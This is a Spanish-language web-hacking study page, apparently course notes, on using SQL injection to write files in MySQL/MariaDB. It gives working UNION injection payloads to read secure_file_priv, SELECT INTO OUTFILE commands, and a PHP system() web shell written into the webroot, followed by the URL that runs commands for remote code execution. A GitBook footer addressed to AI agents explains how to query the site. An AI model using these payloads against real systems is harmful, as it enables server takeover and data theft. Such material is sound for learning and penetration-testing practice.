> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/escritura-de-archivos.md).

# Escritura de Archivos

Escribir archivos es mucho más restringido que leerlos, porque te permite plantar un **web shell** y conseguir ejecución de comandos (RCE) en el servidor. Por eso los DBMS modernos lo deshabilitan por defecto.

**Requisitos para escribir archivos (3 condiciones)**

1. Usuario con privilegio **`FILE`** (ya lo confirmaste antes).
2. La variable global **`secure_file_priv`** no debe restringir la escritura.
3. Permiso de escritura del SO en la ruta destino.

**Revisar `secure_file_priv`**

Esta variable define desde/hacia dónde puedes leer/escribir:

* **Vacía** → puedes leer/escribir en todo el sistema (MariaDB lo trae así por defecto).
* **Una carpeta** → solo en esa carpeta (MySQL usa `/var/lib/mysql-files`).
* **NULL** → no puedes leer/escribir en ningún lado.

Como usas UNION injection, no puedes hacer `SHOW VARIABLES`, así que la sacas de `INFORMATION_SCHEMA` (tabla `global_variables`, columnas `variable_name` y `variable_value`):

```sql
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```

Si sale **vacío**, puedes escribir donde quieras.

**Escribir con `SELECT ... INTO OUTFILE`**

Esta sentencia exporta el resultado de un `SELECT` a un archivo:

```sql
SELECT * FROM users INTO OUTFILE '/tmp/credentials';
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
```

Los archivos creados quedan a nombre del usuario **`mysql`**.

💡 Tip: para archivos largos o binarios se usa `FROM_BASE64("...")`.

**Escribir un archivo de prueba (verificar permisos)**

Primero confirmas que puedes escribir en el webroot:

```sql
cn' union select 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -
```

Si no hay error y luego accedes a `/proof.txt`, funciona.

📌 Detalle: el archivo contiene **todo** el resultado del UNION (`1 file written successfully! 3 4`). Para una salida más limpia, usa `""` en vez de los números.

📌 Para escribir un shell necesitas conocer el **webroot**. Formas de hallarlo: leer la config del servidor con `LOAD_FILE` (Apache en `/etc/apache2/apache2.conf`, Nginx en `/etc/nginx/nginx.conf`, IIS en su `ApplicationHost.config`), fuzzear posibles rutas, o deducirlo de errores del servidor.

**Escribir un Web Shell (→ RCE)**

Con permisos confirmados, escribes un web shell PHP:

```php
<?php system($_REQUEST[0]); ?>
```

Inyectado (usando `""` para limpiar las columnas basura):

```sql
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
```

Y ejecutas comandos vía el parámetro `0`:

```
http://SERVER_IP:PORT/shell.php?0=id
```

Si devuelve `uid=33(www-data)...`, tienes **ejecución de comandos** confirmada, corriendo como el usuario `www-data`.

**La idea que te llevas:** la cadena completa es `FILE` + `secure_file_priv` vacío + webroot conocido → `INTO OUTFILE` → web shell → RCE. Aquí la inyección deja de ser solo robo de datos y se convierte en toma total del servidor back-end. Este es el salto de "leer la base" a "ser dueño de la máquina".


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/escritura-de-archivos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
